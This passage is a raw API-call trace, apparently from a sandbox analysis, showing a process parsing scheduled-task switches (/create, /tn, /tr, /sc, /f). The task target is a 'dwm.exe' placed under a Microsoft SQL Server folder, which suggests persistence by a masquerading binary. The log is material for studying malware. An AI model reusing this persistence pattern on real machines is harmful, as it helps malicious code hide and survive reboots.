_Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.214] lstrlenW (lpString="|tn|") returned 4 [0105.214] lstrlenW (lpString="|tr|") returned 4 [0105.214] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0105.214] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.214] lstrlenW (lpString="tr") returned 2 [0105.214] lstrlenW (lpString="tr") returned 2 [0105.214] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.214] lstrlenW (lpString="tr") returned 2 [0105.214] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.214] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.214] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.214] lstrlenW (lpString="|tr|") returned 4 [0105.214] lstrlenW (lpString="|tr|") returned 4 [0105.214] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.215] lstrlenW (lpString="-/") returned 2 [0105.215] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.215] StrChrIW (lpStart="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'" [0105.215] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.215] _memicmp (_Buf1=0x2008f454310, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.215] _memicmp (_Buf1=0x2008f45a990, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] lstrlenW (lpString="'C") returned 2 [0105.215] lstrlenW (lpString="-/") returned 2 [0105.215] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.215] _memicmp (_Buf1=0x2008f45ac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.215] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.215] GetProcessHeap () returned 0x2008f450000 [0105.215] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45aaf0) returned 1 [0105.215] GetProcessHeap () returned 0x2008f450000 [0105.215] RtlReAllocateHeap (Heap=0x2008f450000, Flags=0xc, Ptr=0x2008f45aaf0, Size=0x76) returned 0x2008f454270 [0105.215] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.215] lstrlenW (lpString=" \x09") returned 2 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0105.216] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0105.216] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0105.219] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x51) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0105.219] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0105.219] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0105.220] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0105.220] GetLastError () returned 0x0 [0105.220] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.220] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.220] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.220] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.220] lstrlenW (lpString="/f") returned 2 [0105.220] lstrlenW (lpString="-/") returned 2 [0105.220] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.220] lstrlenW (lpString="create") returned 6 [0105.220] lstrlenW (lpString="create") returned 6 [0105.221] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.221] lstrlenW (lpString="f") returned 1 [0105.221] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.221] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|create|") returned 8 [0105.221] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.221] lstrlenW (lpString="|create|") returned 8 [0105.221] lstrlenW (lpString="|f|") returned 3 [0105.221] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0105.221] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.221] lstrlenW (lpString="?") returned 1 [0105.221] lstrlenW (lpString="?") returned 1 [0105.221] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.221] lstrlenW (lpString="f") returned 1 [0105.221] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.221] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|?|") returned 3 [0105.221] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.221] lstrlenW (lpString="|?|") returned 3 [0105.221] lstrlenW (lpString="|f|") returned 3 [0105.221] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0105.221] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.221] lstrlenW (lpString="s") returned 1 [0105.221] lstrlenW (lpString="s") returned 1 [0105.221] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.221] lstrlenW (lpString="f") returned 1 [0105.221] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.221] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|s|") returned 3 [0105.222] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.222] lstrlenW (lpString="|s|") returned 3 [0105.222] lstrlenW (lpString="|f|") returned 3 [0105.222] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0105.222] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.222] lstrlenW (lpString="u") returned 1 [0105.222] lstrlenW (lpString="u") returned 1 [0105.222] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.222] lstrlenW (lpString="f") returned 1 [0105.222] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.222] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|u|") returned 3 [0105.222] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.222] lstrlenW (lpString="|u|") returned 3 [0105.222] lstrlenW (lpString="|f|") returned 3 [0105.222] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0105.222] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.222] lstrlenW (lpString="p") returned 1 [0105.222] lstrlenW (lpString="p") returned 1 [0105.222] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.222] lstrlenW (lpString="f") returned 1 [0105.222] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.222] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|p|") returned 3 [0105.222] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.222] lstrlenW (lpString="|p|") returned 3 [0105.222] lstrlenW (lpString="|f|") returned 3 [0105.222] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0105.222] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.223] lstrlenW (lpString="ru") returned 2 [0105.223] lstrlenW (lpString="ru") returned 2 [0105.223] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.223] lstrlenW (lpString="f") returned 1 [0105.223] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.223] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|ru|") returned 4 [0105.223] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.223] lstrlenW (lpString="|ru|") returned 4 [0105.223] lstrlenW (lpString="|f|") returned 3 [0105.223] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0105.223] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.223] lstrlenW (lpString="rp") returned 2 [0105.223] lstrlenW (lpString="rp") returned 2 [0105.223] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.223] lstrlenW (lpString="f") returned 1 [0105.223] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.223] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|rp|") returned 4 [0105.223] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.223] lstrlenW (lpString="|rp|") returned 4 [0105.223] lstrlenW (lpString="|f|") returned 3 [0105.223] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0105.223] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.223] lstrlenW (lpString="sc") returned 2 [0105.223] lstrlenW (lpString="sc") returned 2 [0105.223] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.223] lstrlenW (lpString="f") returned 1 [0105.223] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.224] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.224] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.224] lstrlenW (lpString="|sc|") returned 4 [0105.224] lstrlenW (lpString="|f|") returned 3 [0105.224] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0105.224] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.224] lstrlenW (lpString="mo") returned 2 [0105.224] lstrlenW (lpString="mo") returned 2 [0105.224] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.224] lstrlenW (lpString="f") returned 1 [0105.224] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.224] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.224] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.224] lstrlenW (lpString="|mo|") returned 4 [0105.224] lstrlenW (lpString="|f|") returned 3 [0105.224] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0105.224] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.224] lstrlenW (lpString="d") returned 1 [0105.224] lstrlenW (lpString="d") returned 1 [0105.224] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.224] lstrlenW (lpString="f") returned 1 [0105.224] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.224] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|d|") returned 3 [0105.224] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.224] lstrlenW (lpString="|d|") returned 3 [0105.225] lstrlenW (lpString="|f|") returned 3 [0105.225] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0105.225] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.225] lstrlenW (lpString="m") returned 1 [0105.225] lstrlenW (lpString="m") returned 1 [0105.225] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.225] lstrlenW (lpString="f") returned 1 [0105.225] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.225] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|m|") returned 3 [0105.225] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.225] lstrlenW (lpString="|m|") returned 3 [0105.225] lstrlenW (lpString="|f|") returned 3 [0105.225] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0105.225] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.225] lstrlenW (lpString="i") returned 1 [0105.225] lstrlenW (lpString="i") returned 1 [0105.225] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.225] lstrlenW (lpString="f") returned 1 [0105.225] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.225] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|i|") returned 3 [0105.225] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.225] lstrlenW (lpString="|i|") returned 3 [0105.225] lstrlenW (lpString="|f|") returned 3 [0105.225] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0105.225] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.225] lstrlenW (lpString="tn") returned 2 [0105.225] lstrlenW (lpString="tn") returned 2 [0105.225] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.226] lstrlenW (lpString="f") returned 1 [0105.226] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.226] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.226] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.226] lstrlenW (lpString="|tn|") returned 4 [0105.226] lstrlenW (lpString="|f|") returned 3 [0105.226] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0105.226] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.226] lstrlenW (lpString="tr") returned 2 [0105.226] lstrlenW (lpString="tr") returned 2 [0105.226] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.226] lstrlenW (lpString="f") returned 1 [0105.226] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.226] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tr|") returned 4 [0105.226] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.226] lstrlenW (lpString="|tr|") returned 4 [0105.226] lstrlenW (lpString="|f|") returned 3 [0105.226] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0105.226] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.226] lstrlenW (lpString="st") returned 2 [0105.226] lstrlenW (lpString="st") returned 2 [0105.226] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.226] lstrlenW (lpString="f") returned 1 [0105.226] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.226] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|st|") returned 4 [0105.226] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.226] lstrlenW (lpString="|st|") returned 4 [0105.227] lstrlenW (lpString="|f|") returned 3 [0105.227] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0105.227] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.227] lstrlenW (lpString="sd") returned 2 [0105.227] lstrlenW (lpString="sd") returned 2 [0105.227] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.227] lstrlenW (lpString="f") returned 1 [0105.227] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.227] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sd|") returned 4 [0105.227] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.227] lstrlenW (lpString="|sd|") returned 4 [0105.227] lstrlenW (lpString="|f|") returned 3 [0105.227] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0105.227] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.227] lstrlenW (lpString="ed") returned 2 [0105.227] lstrlenW (lpString="ed") returned 2 [0105.227] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.227] lstrlenW (lpString="f") returned 1 [0105.227] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.227] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|ed|") returned 4 [0105.227] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.227] lstrlenW (lpString="|ed|") returned 4 [0105.227] lstrlenW (lpString="|f|") returned 3 [0105.227] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0105.227] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.227] lstrlenW (lpString="it") returned 2 [0105.227] lstrlenW (lpString="it") returned 2 [0105.228] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.228] lstrlenW (lpString="f") returned 1 [0105.228] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.228] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|it|") returned 4 [0105.228] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.228] lstrlenW (lpString="|it|") returned 4 [0105.228] lstrlenW (lpString="|f|") returned 3 [0105.228] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0105.228] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.228] lstrlenW (lpString="et") returned 2 [0105.228] lstrlenW (lpString="et") returned 2 [0105.228] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.228] lstrlenW (lpString="f") returned 1 [0105.228] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.228] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|et|") returned 4 [0105.228] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.228] lstrlenW (lpString="|et|") returned 4 [0105.228] lstrlenW (lpString="|f|") returned 3 [0105.228] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0105.228] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.228] lstrlenW (lpString="k") returned 1 [0105.228] lstrlenW (lpString="k") returned 1 [0105.228] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.228] lstrlenW (lpString="f") returned 1 [0105.228] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.228] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|k|") returned 3 [0105.229] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.229] lstrlenW (lpString="|k|") returned 3 [0105.229] lstrlenW (lpString="|f|") returned 3 [0105.229] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0105.229] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.229] lstrlenW (lpString="du") returned 2 [0105.229] lstrlenW (lpString="du") returned 2 [0105.229] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.229] lstrlenW (lpString="f") returned 1 [0105.229] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.229] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|du|") returned 4 [0105.229] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.229] lstrlenW (lpString="|du|") returned 4 [0105.229] lstrlenW (lpString="|f|") returned 3 [0105.229] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0105.229] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.229] lstrlenW (lpString="ri") returned 2 [0105.229] lstrlenW (lpString="ri") returned 2 [0105.229] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.229] lstrlenW (lpString="f") returned 1 [0105.229] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.229] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|ri|") returned 4 [0105.229] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|f|") returned 3 [0105.229] lstrlenW (lpString="|ri|") returned 4 [0105.229] lstrlenW (lpString="|f|") returned 3 [0105.229] StrStrIW 